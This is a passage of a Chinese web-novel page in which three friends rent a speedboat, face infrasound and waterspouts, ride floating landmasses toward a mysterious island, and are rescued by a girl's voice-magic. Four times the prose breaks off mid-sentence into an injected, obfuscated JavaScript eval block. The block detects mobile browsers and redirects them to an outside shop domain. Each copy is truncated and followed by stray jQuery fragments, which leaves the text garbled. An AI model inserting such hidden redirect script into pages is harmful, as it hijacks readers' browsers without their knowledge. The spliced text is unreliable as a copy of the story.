“好像是伊甸生病了。”许梦扬说,接着他晃动一下咖啡杯,像是在观察拉花。 “是着凉了吗?”洛祈有些诧异。 “有可能,”许梦扬放下杯子想了想,“昨天是有风。” 大约一刻钟时间,埃文姗姗来迟。 他身着一件黑色皮衣,领口因为出门匆忙而一边竖起,进门之后眼神逡巡一圈,找到俩人便快速走来。 “不好意思。”他说。 “没事。”洛祈摆摆手问他:“伊甸怎么样?还好吗?” 许梦扬转头,向吧台的服务员比了个手势。转回来,笑着指了一下埃文的衣领。 “哦。”埃文整理一下,才说:“一早起来就发烧了。”他摇摇头,“刚吃了退烧药,具体不清楚怎么回事,应该是昨晚降温了,伊甸不太适应。” 洛祈点点头,另一位服务员又端来一杯咖啡,放到埃文面前,“请用。” 这次是一杯热美式。 “谢谢。”埃文道。 “不急。”许梦扬说,“她会打电话来,喝完再过去。” 三杯咖啡见底,没有续杯,几人起身出了店。 从这里到海岸大约有十分钟的路程,在路上,许梦扬接到了快艇交接人的电话——两人用英语同对方交流位置,许梦扬说:“好。马上到。” 既非周末,又是阴天,海岸边的人不算多。他们迈上沙滩那一刻,就已经看到海边停着一艘黑色快艇。只是左右都没看见人。 “是那个吗?”洛祈问。 “……应该是吧,”许梦扬来回看了一圈,“好像也没别的了。” 几人只好将信将疑走到快艇旁边——它搁浅在岸边,差不多能容纳四人,正随着水流轻微摇晃。 “嘿!” 远远的传来一个洪亮的女声,随之而来的,还有引擎轰鸣加速和海浪翻涌的声音。 三人转头望去,五十米外正有一个女孩,骑着一辆水面摩托,破开海浪,朝他们加速驶来。 一个漂亮的刹停,溅起白色水花。 女孩取下黑色头盔,捏了一下打湿的发尾,用英语问:“是你们需要快艇吗?” 许梦扬微微怔愣一下,随后点头,用英语回她:“是。” 这个女孩一身黑色水上骑行服——是典型的本地人样貌,小麦色皮肤,眼睛大而有神,亚麻色卷发没有束起,因此下半段被水打湿,正随意地披在肩后。 “OK。”她打开摩托的坐垫,拿出一把钥匙,走过去插在快艇上,转头问:“要不要我先带你们开一圈?”她笑着拍了拍快艇挡风镜,“这家伙马力很猛哦!” 三人看看彼此,还是许梦扬先说:“行啊。” 女孩点头,一扬下巴,示意他们上快艇。随后轻盈地跳进了驾驶座。 刚好四个人,坐满了。 “坐稳咯!”女孩提醒,接着扭动钥匙,巨大的引擎声乍然响起,快艇的后坐力让几人猛地向后一靠,整个艇身便发射出去。 洛祈被迎面的风吹得有些睁不开眼,心道果然马力很足。 许梦扬坐在副驾座位,倒像忽然得了趣味一般,站起身,忍不住呼喊一句,觉得真是爽快。 女孩看他一眼,笑开了,像是很得意。没过几秒又加速,熟稔地带起波涛,转了百十来米。 回到海岸,她取下钥匙,扔给许梦扬:“两天时间,你的伙伴已经付过钱了。” 许梦扬接过,对她说“谢谢”,又冲女孩比了个大拇指。 女孩一昂首当做回应,笑了一下,反身回到摩托边跨坐上去,重新戴起头盔,一拧把手,引擎声动。她如来时一般携风走了。 “她叫塞勒。” 待女孩的身影消失于视野,许梦扬回身,拿出手机对二人介绍。 洛祈凑近,是游艇协会的成员介绍页面——上面正是女孩在某次游艇大赛上,取得金牌的活动剪影,英姿飒爽。页面显示这辆黑色快艇是她的私人游艇。 “很酷。”埃文说。 许梦扬挑了挑眉,笑道:“确实。” 天比来时更阴了。 但还没到下雨的程度,黑牒预测的暴风雨应该会在明早到来。 于是几人便商量着打道回府。 忽然,埃文叫停了两人,“等等……” 许梦扬和洛祈停下,看埃文指了指自己一直携带的耳机,又从自己的包里拿出外出用的头盔——头盔的光带正在闪烁。 他们知道,有什么事情,发生了。 等戴好头盔,开了机,他们听见黑牒的传来的消息—— “洛祈,我刚刚监测到频率在0.01-10Hz之间的次声波,通常被认为是台风在形成和移动过程中会发出的频率。” 埃文惊讶:“台风?这里怎么会出现台风?” “是的,”黑牒说,“所以我判断这是异常气象预警。” 话音刚落,远方一声惊雷响动,海鸥们成群炸起,尖叫着四散飞去。 闪电开始划破天际,冷风变得妖冶无常。 紧接着,他们听见黑牒在耳机里说: “你们最好立刻做好准备,暴风雨即将来临。” 太突然了。 这一状况让在场的三人猝不及防。 “不管了。”许梦扬迅速反应,“来就来吧,看看怎么个事。” 所幸他们都带全了装备,只好迅速穿戴起来。 有雨点滴滴嗒嗒落下来,但跟预测中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587065|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太一样,毛毛雨,不算大,在他们眼前很快地形成水雾。 “我们靠近一些。”埃文说,“根据我的经验,这种水雾会继续弥漫、扩大。” 果不其然,很快他们的视野前方,能见度就降低了不少。 雨势正在逐渐变大,洛祈左右看看,忽然想起什么,“对了。”他快速地从自己的背包中拿出三个搜集来的物件,“虽然不知道异常跟这些有没有关系,但你们也拿上一个吧。” 许梦扬和埃文点头,从洛祈手里接过两个物件:一个是还未拼装完成的乐高,另一个是一条玩具珍珠吊坠。 然而就在三人拿上物件的刹那间,那个声音出现了——是洛祈曾在物灵上反复听见过的哼鸣声,此刻,正以一种雷霆万钧之势,响彻在迷雾笼罩的上空。 “啊…”许梦扬忽然有些难耐,弯身道,“好难受。” 他感觉他的胸前,他的五脏六腑像被闷锤击打。 洛祈看向他,刚想上前,便听到埃文那边直接干呕起来。 “洛祈,看来我们的方向是对的,”黑牒说,“刚刚我检测到一段非正常的频率,在4hz-12hz之间,确实是次声波。” “那……跟他们的状况有关吗?”洛祈焦心道。 “是的。”黑牒解释,“人体的胸腔和腹腔的固有频率大约在4-8Hz之间,而头部的固有频率约为8-12Hz。当次声波的频率正好处于这些范围,就会使器官产生强烈的振动。并引起头晕、呕吐等躯体性反应。” 洛祈问:“那我怎么没有反应?” 黑牒没有给出答案,只说:“也许跟你的体质有关系。” “好吧……”洛祈扶起两人,“那怎么办?” “只要不长期暴露在高强度次声波环境中,就能避免脏器破裂等危及生命的情况。”黑牒说,“你可以观察一下情况,决定是否撤离。” 然而那诡谲的声音没有再出现——反倒有什么庞大的东西,隐现在了远方的水雾中。 洛祈手中那只破旧的物灵娃娃,再次睁开了原本耷拉着的胶质眼皮。 而这一次洛祈发现了。 他把那个娃娃拿到眼前,仔细端详,触摸时意外地听不见那种哼鸣声——反而只有零星模糊的小孩的笑声。 洛祈皱着眉站起身,往前走去,想看清楚远方的是什么。 许梦扬正脱力地坐着,想拉他但没能够着,便哑声问道:“洛祈,你去哪儿?” “……我看一下。”洛祈喃喃。 很近,仿佛是一种预感。 他望着那个庞大的剪影——上空有闪电劈下,紧接着夺目的火光跳跃起来。 一如那晚的“蛛网”不断延伸、蔓延、直到覆盖所有。 “是的……”他喃喃,“来了。” 当眼前的景象和回忆的片段重合的这一瞬间。他知道,同样的事,正在以同样的方式发生。 “什么?” 许梦扬和埃文勉强站起身,来到洛祈的身边。 轰然一声沉闷的巨响,像是什么被分崩离析。 洛祈感觉自己动弹不得,心跳加速,甚至只能机械地抬起手,指着远方说道: “那座岛屿,要来了。” 15. 接引陆块 浪涛涌动,海面开始不安分地搅动起来。 远处的风暴、同伴的情况、要不要撤离……洛祈拿不定主意。 “没关系,洛祈。”许梦扬看穿了他,“不管是什么要来,我们总要看看,才能知道该怎么做。” “对。”埃文说,“一手情报才最重要。” 不过对面掀起的千尺浪,也没有给他们太多考虑的时间。 浪头高耸入云,几乎望不到顶。接着,那块巨幅的水幕忽然像被什么切开,分成了三段,开始扭曲旋转起来——逐渐汇聚成三个巨大的水柱。 刚才的水雾随着那三股巨大的旋转水柱被逐渐吸收、消解,眼前的视野清晰起来,却仿佛更加可怖。 “……那是什么啊?”许梦扬惊道。 埃文的表情则更加僵硬,他强撑着说道:“看起来,似乎是……海上龙卷风。” 三股海龙卷里不时发出阵阵闪电,许梦扬有些犹豫,“危险吗?要不要我把快艇开过来,以防万一?” 埃文额角已经出了一层薄汗,他紧盯着海面,“可以。” 然而,当许梦扬转身想去他们停泊快艇的那片区域时,却发现那里空空如也。不仅如此,他忽然意识到,海岸周边也早已空无一人。 太奇怪了,许梦扬走回二人身边:“我们的快艇,不见了。” “手机有信号吗?”埃文沉思片刻,“如果没有……那可能不是我们的快艇不见了,而是我们不见了。” 洛祈跟许梦扬交换了一下眼神。 他赶紧拿出手机,发现果然没有信号——这才真的体会了洛祈说的经历。 恐怕他们此时此刻,就已经在另一个空间了。 这意味着,无论远处是什么,跑是跑不掉了。 “黑牒,你在吗?”洛祈呼叫,“你能听见我们吗?” 如果黑牒也断联了,洛祈想,那真的就得全靠他们自己了。 不料,片刻之后黑牒回复了:“我在,洛祈。能听见。” 洛祈松了一口气:“还好。” “别担心,我可以靠传感装置通讯。”黑牒说,“但你们的猜测是对的,刚刚你们的移动网络通讯中断了。而且在地图上,你们三个的定位点也忽然集体消失了。我正在启动模拟预案,一切以你们当前的视野为准。” “好的,谢谢。”埃文说。 水雾已经散的差不多了。海龙卷越来越近,波涛的幅度却趋向平稳,似乎少了一些危险性。百米之外逐渐能看到有什么东西飘在水面上。恰好连接着耸入云端的龙卷底部。 许梦扬拿出望远镜,对准前方看了看,又放下来,仿佛看错了什么。他把望远镜递给埃文,埃文也对准前方,这才看清:随着三股龙卷到来的,正如洛祈所说——是三个零散的陆块。 “和你那天看到的一样吗?”许梦扬问洛祈。 “对,很类似。”洛祈回答,“不过我没有在这么近的距离看过。” “刚好三个,好像是冲我们来的。”埃文平静道。 随着三个陆块的渐进,海上龙卷风肉眼可见地开始消减,从浑浊的灰蓝色水柱演变为白色的浪花和泡沫——直到它们接二连三停驻在海岸边缘,才最终归于了沉寂。 三人在原地观察陆块,一时不知该不该上前。 洛祈之前因为离得远,不曾得见陆块上到底是什么,只猜测是从主岛分离出来的碎裂部分,这回看见了,难免觉得神奇——陆块基本算是五边形,上面长着厚厚的草甸,嫩绿青翠的草甸上有一些碎花,正有两只小小的蝴蝶翩飞相随。 草甸中央,斜插着一柄厚重而巨大的金边“圣十字”,看起来像白色的花岗岩。 这幅画面静谧、庄重而充满生机。 洛祈解读不出来,只能暗自称叹。 然而下一秒黑牒出声,说了一句让他感到很意外的话:“我建议你们相互同步一下自己看到的东西。” 洛祈疑惑:“什么意思?” “一组机械齿轮组件。”埃文很快说道,“看起来像是某种复杂的模型。” 洛祈:? 洛祈的目光从埃文身上猛地转回去,又看了看自己面前的那个陆块,仍然是刚刚看到的那副景象,哪来的机械组件? 埃文没有得到另外两个人的回馈,也逐渐觉出问题:“怎么了吗?” 洛祈左看右看,确认三个陆块都是自己见到的草甸场景,才迟疑道:“我……没有看到什么机械组件,我看到的是厚厚的草甸上斜插着一柄白色岩石圣十字。” 埃文有些不可思议:? “是真的。”洛祈说。 可此时两人各有所见,各执一词,都是一脸懵逼,也说服不了彼此。但随即,他们忽然想到在场的还有第三个人。 而许梦扬一直没说话。 两人一起转向许梦扬,却看见许梦扬的脸色……不大好。没了惯常那种笑模样。 埃文疑惑道:“你怎么了,Xu?” 但是许梦扬没有回答,他只是盯着那个方向问:“洛祈,你之前看到的那些陆块,后续会发生什么?” 洛祈想了想,回道:“之后应该会从海岸线返回主岛。” “所以……”许梦扬道:“我们要踏上这些小陆块吗?” 洛祈看看埃文,确认了彼此的看法,“如果可以的话。” 许梦扬终于转过来,看向他们,声音还是有些哑:“我看到的,是几块墓碑。” “什么?”洛祈和埃文难以置信。 “那些墓碑并不完整,凌乱地插在陆块上,上面没有名字,只有一些符号。”许梦扬描述着眼前的场景,“看起来就……就像是荒坟。” 空气顿时变得凝滞起来。 洛祈想不明白,只好问:“……还有吗?” “还有……”许梦扬闭了闭眼,像是不忍再看,“下面铺着满满一层的骸骨。还有些灰黑色的粉末和看起来很像金箔的东西混在一起。” 那是怎样的一幅画面。 洛祈和埃文面面相觑。 可是话又说回来,三个人看到了三种场景,怎么会出现这样的情况? 洛祈想到之前福利院院长讲过一个手表定律: 当人同时拥有两只或更多的手表时,由于各只手表的时间可能存在差异,反而无法确定准确时间,会让看表的人失去对准确时间的信心。 现在也是,到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587066|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁看到的是真的? 或者,其实都是真的? 还是什么? 事情仿佛变得越来越扑朔迷离。 埃文很明显也遇到了相同的困惑。“黑牒,”他沉思良久,最后选择发问:“能查到这是什么情况吗?” “观察者决定观察结果。” 没想到,黑牒很快给出了答案。 “根据搜索,无论是在量子物理领域、心理学和认知科学领域、还是哲学角度,这都是最有可能的一个结论。当然,”TA补充道,“不排除你们现在所在的空间有一些无法解释的特殊规则。” 三个陆块忽然浮动起来,一下一下撞击海岸。 “你们可能得赶紧决定,是否需要跟随上岛。”黑牒说。 尽管犹豫,许梦扬还是点点头,动身道:“对,我们……” “Xu,”埃文打断他,“如果你真的看到很不好的东西,不必勉强一定要去。” 许梦扬已经走到陆块边上,右脚即将踏上,结果一个没踩稳,向后趔趄了一下。 陆块很大幅度地晃动了起来——好像只是一块水面上的浮板。 许梦扬站稳了,皱眉疑道:“这个真的能踏上去吗?” 陆块浮动是其他两人也看到了的。 洛祈犹豫着走上前,心想如果这块陆地无法支撑一个人的重量……他看了看自己手里的物灵娃娃,不知哪来的一个冲动,将其扔了上去。 破旧的物灵娃娃接触到陆面的瞬间,陆块猛地向下一沉,又重新漂浮起来,带着那个物件离开了海岸,往来时方向漂了回去。 三人都惊在原地,不知所措。 这下,来接引他们的陆块只剩两个了。 许梦扬:…… 不知该喜还是该悲。 埃文倒是笑了下:“Xu,有时候你得相信命运的安排。” 洛祈也伸出一只脚,试着踏足面前的陆块,然而并没有出现浮动,于是他将两只脚都稳稳地踩了上去。 “我可以哎!”洛祈颇为神奇道。 “埃文,你也试试?”许梦扬说。 埃文也走向自己面前那一块,重复了洛祈刚上去的步骤,这一次依旧没有浮动,同样稳稳地支撑住了。 “好吧。”许梦扬有些无奈,“只有我去不了啊?” “不一定,”埃文冷静地说,“我们现在也不知道,这块陆地会把我们带向哪里,前路未知,如果我们还会回来呢,如果我们出了什么状况需要接应呢?何况伊甸还在民宿里,Xu,或许你留下来,是件好事。” “好吧~”许梦扬接受了这个理由。 他看向两人,忽然觉得有很多想要交代,却又好像无从说起,只能走近拍拍二人肩膀,嘱咐道:“一定注意安全,别逞强,明白吗?” “嗯。”洛祈和埃文冲他点点头。 附近的水花开始翻涌,两个陆块轻击海岸,也像在告别。它们一前一后载着二人离开,许梦扬目送他们,直到看不见了为止。 “黑牒,”许梦扬仍挥着手,“他们会平安的,对吗?” 黑牒没有回答这个问题,但TA说:“别担心,我会一直跟着他们。” 16. 绝处逢生 踏上接引陆块的洛祈和埃文恐怕不会想到,接下来遇到的,将是多么凶险的境遇。 毕竟在陆块刚出发时,海上的天气由阴转晴,甚至有几束阳光穿过厚重的云层,投射在他们的陆块上。 洛祈和埃文不由望向天空,在温暖的阳光沐浴下,他们被包裹进令人迷惑的丁达尔效应中。 忽然,陆块猛地晃动,两人猝不及防,差点被翻下海面。 洛祈急忙拉住草甸上巨大的圣十字,回神一看,才发现附近水域正有一些小气泡,咕嘟咕嘟地冒出来。 “小心点!”埃文冲他喊道——他们之间大约有五米的距离,“这片海域不对劲。” 随后他看到埃文蹲下,对着他眼中草甸上的“圣十字”捣鼓着什么。 而实际上,在埃文的视角里,面前确实是一组精密的机械齿轮组件。 “埃文,你在做什么?”洛祈问。 “我看一下这个是什么,”埃文没抬头,回道,“看起来,像是一种复合型的舵。” 埃文对此是个中好手,但对洛祈来说,这就涉及到他的知识盲区了。 “舵叶、舵杆、舵机……”埃文悉数操作,暗道猜得没错,眼前的机械组件,虽然和常见的平衡舵、半平衡舵很不一样,但是通过对相应部位的齿轮拨动——他脚下的小岛竟然真的开始移动了起来。 “我懂了!”埃文站起身,“我面前的这个,是由机械臂和齿轮模块构成的一组复合舵。” 洛祈一知半解,但他看到埃文的陆块动起来,还是奇道:“可以操纵方向吗?” 埃文尝试驱动机械舵杆和舵叶,看到后方襟翼转动起来,点头,“应该可以。” “太好了。”洛祈刚准备继续,“——啊!” 二人之间的水域忽然喷出一道水泉,不仅阻挡了两个人的视线,掀起的巨大波涛也差点把洛祈的陆块掀翻,他死死抓住圣十字,感觉好似大雨倾盆。 “洛祈!”埃文喊道,“还好吗?” 洛祈睁开眼,虽然身上穿着雨衣,但脸上已经全湿了。他看了看周围,那股莫名其妙的水泉已经落下去了,便回道,“我没事!” 埃文正操纵着陆块向他驶来,尽管还不太习惯组件,但他适应得很快。 来到跟前,洛祈问道:“刚刚那是什么啊?” “我也不太清楚。”埃文说,“好像是从海面底下喷射出来的。” 话音刚落,二人的前方、斜后方和刚漂过的那处,又有三股白色的水泉从海面之下冲天而起,如水枪一般带起万千浪沫——活像在泉眼正中央喷射的激泉。 然而一波未平一波又起,三股激泉将将落下,又从其他几处海面喷射出无数水泉。 “看来是冲我们来的!”埃文率先反应过来,“小心!” 埃文敏锐地观察到洛祈前方水域正有水泡泛起,而洛祈没有方向舵——躲是躲不过的,千钧一发时埃文想不了那么多,他操纵着自己的陆块猛地往旁边一撞——洛祈连人带陆整个侧移了几米。陆块大幅晃动一下又翻回来,所幸没有大碍。 但埃文那边就很不妙了。经他一撞洛祈是躲开了,但他也正正好好被喷射而出的水泉击中,整个陆块被冲上十米之高,随即往后翻了过去! “砰”的一声,溅出巨大水花。 “埃文!”洛祈大声喊道。 隔了大约三五秒,洛祈才看到埃文的陆块浮上水面,翻转回正,而他整个人已经全部湿透。 埃文抹了一把脸,对洛祈摆了摆手,示意自己没事。 可洛祈却越来越心焦。 不能再发生类似的事,这太危险,也太被动了。 一定有什么是他能做的,洛祈反复思考着。 埃文已经重新操纵着陆块来到他身边。 有了刚才的经验,这次埃文已经能够根据水泡迅速判断出水泉的方位,闪避也逐渐变得熟练起来。并且对于怎么通过自己的陆块影响洛祈的移动,他也有了一些体感。 洛祈逐渐沉静下来,他看着面前的圣十字,忽然伸出手,手掌抵在冰凉的岩石上。他在心里反复默念,一定有什么是我能做的。 就在此时,埃文惊讶地发现激泉接连落下来——可随之而来的,是不断回旋的水流,就在刚消失的一股激泉处,正不断汇聚形成一个漩涡。 这要是被卷进去可不是开玩笑的。 埃文赶紧操纵方向舵,轻击陆块将自己和洛祈往反方向平移十多米,总算避过。 他们周边的海域变得越来越不可预测,水流湍急,似乎往哪个方向的都有——这让埃文几乎失去判断能力。 局面越来越凶险,他们如两叶孤舟一般在海上艰难前行。 斜前方右侧又出现一个漩涡,迅速而突兀。埃文大惊,猛地回转方向舵侧击洛祈的陆块,在不到一米处堪堪避过。 “好险。”埃文深深呼出一口气。 而此刻,洛祈突然睁开眼,出声道:“左侧,一点钟方向,五米。需要躲避。” 埃文短暂地疑惑一秒,随即下意识转动方向舵,操纵陆块使二人往右侧移动。果不其然——下一秒,左侧斜前方,就在距离他们非常近的地方,瞬间便出现了湍急的漩涡。 埃文几乎惊了,如果不是早了这么一秒,他们可能瞬间就会被吞噬…… 洛祈也松了一口气。 埃文忍不住问道:“你怎么做到的,洛祈?” 洛祈的手还放在那柄圣十字上,笑了一下,刚准备说话,又神色一凛,迅速道:“右侧十点钟方向,六米左右!” 埃文已经操纵得非常顺手,他漂移到洛祈的右后方,将两人的陆块往左侧又推了好几米远。 在躲过右侧的漩涡之后,洛祈才说:“其实是我发现,我通过触碰这个圣十字岩石,居然可以更早一点感应到下一个漩涡出现的方位。” “厉害,”埃文冲洛祈比了个拇指,“你能预知方位,帮了大忙。” “你才是呢,”洛祈笑了笑,“没有你我们也躲不开。” 就这样,两个人一个提供方位指向,一个操纵陆块控制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587067|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人躲避危险,倒也逐渐默契起来,配合越来越游刃有余。 就在二人行程过半,逐渐适应海上诸多凶险、距离那座岛屿越来越近时,洛祈却再一次通过“圣十字”听见了熟悉的哼鸣声。 这又是什么预兆?洛祈没听懂,但他和埃文都发现周边的漩涡不再单个出现,而是接二连三迅速成型,并开始在他们正前方汇聚、增加——即将变成一个超大漩涡。 可他们的陆块正在以一种不可抗力滑向深渊。 一道晴空霹雳自眼前落下,紧接着,神秘诡谲的哼鸣声再次如咒语一般降临天际。 “埃文!”洛祈随即喊道,“捂住耳朵!” 埃文此时正死死攥着方向舵,本能让他不敢松手。闻言,他整个人先是一愣,松开方向舵就想去捂耳朵,然而已经来不及了。 那个声音,那个他根本听不懂的诡谲哼鸣——在钻入他耳朵的一刹那,他却像当初理解了伊甸无声的碎碎念那般,忽然理解了意思。那个声音在说: “你会陷入混沌,坠入,混沌之海。” 糟了,埃文想。 他整个人当即感到头脑发蒙,双眼发直,双膝一软便跪倒下去。 周围都是惊涛骇浪,洛祈一边大喊“埃文,你怎么了”,一边紧紧抱住岩石,他望向前方,近乎感到绝望,眼看着就要到达彼岸,眼看他们就要成功登陆了…… 难道,真的会在这里葬身大海吗? 就在二人即将跟随湍流坠入漩涡时,洛祈听到了另一个空灵的声音,由小到大、由远到近,自他们来时的方向悠悠传来。 那是一种他从未听过的声音——脆弱,但坚韧,仿佛在跟这个诡谲哼鸣对峙。 洛祈往回望去,但什么都看不清。 而随着空灵的声音继续传来……那股诡谲的哼鸣似乎真的停了下来。 不仅如此,洛祈还惊讶地发现,刚刚还翻滚叫嚣着的惊涛骇浪,竟然以一种很缓慢的速度凝结起来——整片海域的海水都变为了一种半凝固的胶质状态! 埃文还在陆块上昏迷。 洛祈伸出手摸了摸海面,如凝胶一般冰凉却柔软,这太匪夷所思了。 半凝固的海水从高处缓缓沉下,稳稳托举着洛祈和埃文的陆块,直至与海面齐平,才将他们推回海岸。 在他们距离海岸还剩大约一百米之际,洛祈终于看到了那个空灵的发声源,和一幅奇异骇丽的景象。 整个海岸上空已经被纷飞的血色花瓣染红。 她还没有停下。 凋零的花叶不断从女孩手中散落,迎风飞向空中,仿若在燃血起舞。 那是伊甸。 这是洛祈第一次听见伊甸的声音。 原来这就是言灵之声。 此时的伊甸血色双瞳,血色发丝,皮肤仍然苍白,身躯仍然幼小,却圣洁庄重得犹如神明。 直到两人安稳着陆,她才渐渐收声归于平静。 红色花叶悉数停滞,片刻之后,无声地落了下来,像是下了一场骇丽的花瓣雨。 17. 解除噤声 “洛祈!” 对于刚经历过险境而此刻已劫后余生的洛祈来说,听见熟悉的声音,不亚于是一种救赎。 只是他没想到,此刻站在海岸边的,除了伊甸、许梦扬,还有今天中午遇见的那个开快艇的女孩——塞勒。 “你们还好吗?”许梦扬惊叫着,向二人刚刚抵达岸边的陆块奔来。 洛祈已经站起身来,自己小心地下了陆块,踏上岸边潮湿的沙地。他冲跑来的许梦扬苦笑一下,随后摇了摇头,“埃文的情况不太好。” 二人转身来到另一边,洛祈托起埃文的头和上半身,顺着许梦扬的方向,合力将陆块上仍旧处于昏迷状态的埃文抬了下来。 一抬头,洛祈便看见塞勒正抱着伊甸站在后方,一脸担忧地看着他们。 伊甸似乎已经沉睡了。 察觉到洛祈的目光,许梦扬转头看了下塞勒,有些唐突,“说来话长。”他说,“回去再跟你们说。” “好。”洛祈点点头。 两人商量着埃文和伊甸要怎么办,决定先送去医院看看。 “我知道从这里有更近的水路去医院!”塞勒忽然开口道,“我带你们去吧。” 三个人交换一下眼神,一拍即合。 “等着我!”塞勒将伊甸轻柔地递给许梦扬,随后快速跑向不远处的黑色快艇。 引擎启动,她将快艇开过来泊在岸边,几人将埃文和伊甸抬上去扣好安全带,随后许梦扬和洛祈也坐了上去。塞勒站在驾驶位望了望远方,确定无误后再次加速启动,快艇马力十足地冲了出去。 不到一刻钟时间他们便到了医院,将两个人都挂了急诊。 但是和洛祈预料的一样,不管是埃文还是伊甸,检查过后,都显示各项体征良好,这种特殊情况让医生束手无策。 许梦扬小声问洛祈:“埃文到底什么情况?” 洛祈摇摇头,也小声回道:“一言难尽……应该是听到了什么不能听的东西。” “伊甸怎么样?”许梦扬沉默片刻,又转头,问了下一直守在女孩旁边的塞勒。 塞勒看着正闭眼呼吸匀称的小家伙,只说:“睡得很沉。” 既然没结果,几人只好决定先办理住院一天,观察情况。 傍晚的夕阳正在缓缓落下,温和静谧的橘色光束透过窗户照射进来,正好打在几个人身上。 塞勒接到了来自家里的电话,让她回去吃饭。“知道了,妈妈。”她犹豫道。 许梦扬适时地告诉她可以先回去,等有空再来。他挠挠头,有些不好意思地说:“今天特别谢谢你。” 塞勒摆手说“没事”,看起来有些不舍,又摸了下伊甸的脑袋,才比了个电话的手势,小声道:“有事打我电话。” “好。”许梦扬点头。 等将塞勒送出医院,回到病房,许梦扬这才开始说起,两人离开后发生的事。 “你俩出发之后……”许梦扬说,“我忽然接到黑牒的通知,说民宿里伊甸那边自己戴上了智能头盔,开了机,接通了传感通讯……” 开了传感通讯的人之间,是可以听到对方说话的。 考虑到伊甸的特殊性,又考虑到另外两人已经随着陆块离开海岸,黑牒屏蔽了洛祈和埃文的通讯,只将伊甸和许梦扬之间的通讯保持联通状态。 而伊甸开口的第一句话,短小急促——就直接让许梦扬强制脱离了空间。 恍惚中,许梦扬只感觉眼前一道白光,刺得他睁不开眼。 随后身边开始变得略微嘈杂,风声海声,和远处的呼喊都清晰起来。 “嘿!还好吗?”女孩大声问道。 许梦扬睁眼,塞勒正从黑色快艇旁走来,神情有些复杂:“你们刚去哪里了?” 许梦扬仍然有些恍惚……他答不上来,只是微喘着,对塞勒摆了摆手。 “我刚刚发现好像没教你们怎么紧急制动。”塞勒才说,“电话里感觉也说不清,所以就决定回来给你们讲讲。结果还不到十分钟,我回来你们就没影了……” 塞勒满脸的匪夷所思。 但彼时的许梦扬也没好到哪里去。 “对了……”塞勒疑惑道,“你刚刚又是从哪里冒出来的?” 许梦扬直接被逗笑了,无奈道:“说出来你可能不信,我刚刚就在这里。” 塞勒怀疑地看他一眼,倒没介意,“算啦,过来,我给你讲下怎么紧急制动。” “等等……”耳机里传来黑牒的声音,许梦扬神色一变,叫住女孩,说道:“抱歉塞勒。我家小妹妹的状态似乎不太好,我现在得赶紧回去一趟。” 塞勒明显是个热心肠,闻言忽然关心道,“怎么了吗?” 许梦扬摇头,说自己也不太清楚,但需要紧急回去看看。 “那还等什么!”塞勒直接回身,往大路的方向走去,“远不远?地址给我,我有摩托车,可以送你很快回去。” 许梦扬赶紧跟上女孩,报了地址。 人家这样爽快,许梦扬觉得实在没理由拒绝。 二人刚从沙滩踏上大路,许梦扬就看到路边一颗棕榈树旁,停着一辆暗红色越野型重机车。车头上挂着一个相同色系的头盔。 塞勒大步流星地走去,拿起头盔在双手间轻松一转,扣到自己头上。随后又从后座下拿出另一个头盔,递给了跟来的许梦扬。 二人坐稳后,塞勒便根据地址一路驶向民宿。 “然后呢?”洛祈问。 随后他看见刚刚还沉睡着的伊甸悠悠转醒,还动了一下,不由站起身提醒许梦扬:“伊甸好像醒了。” 他们来到伊甸病床边,看见小家伙的眼瞳似乎跟以前不太一样了,变成了一种暗沉的红色。跟她现在的发色一致。 许梦扬眉宇轻皱,低声用西语问:“伊甸,你有没有觉得哪里不舒服啊?” 伊甸看着他,过了两秒,笑了一下,摇摇头。 洛祈按了铃,又去病房外将值班医生请进来,对伊甸做了基本检查。 “她没什么问题了。”医生收起听诊器,“各项指标都显示正常。” “好的,医生。”二人谢过医生后,从门口回到病房。 月亮已经悄然升起,病房里更加静谧。 伊甸跳下床,来到哥哥身边,握住了他的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587068|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她低声说了句什么,然后凑上前看了看,似乎没有起作用——可洛祈和许梦扬清晰地看见:心电图指示仪上,平稳的波形忽然有一个大的跳动。 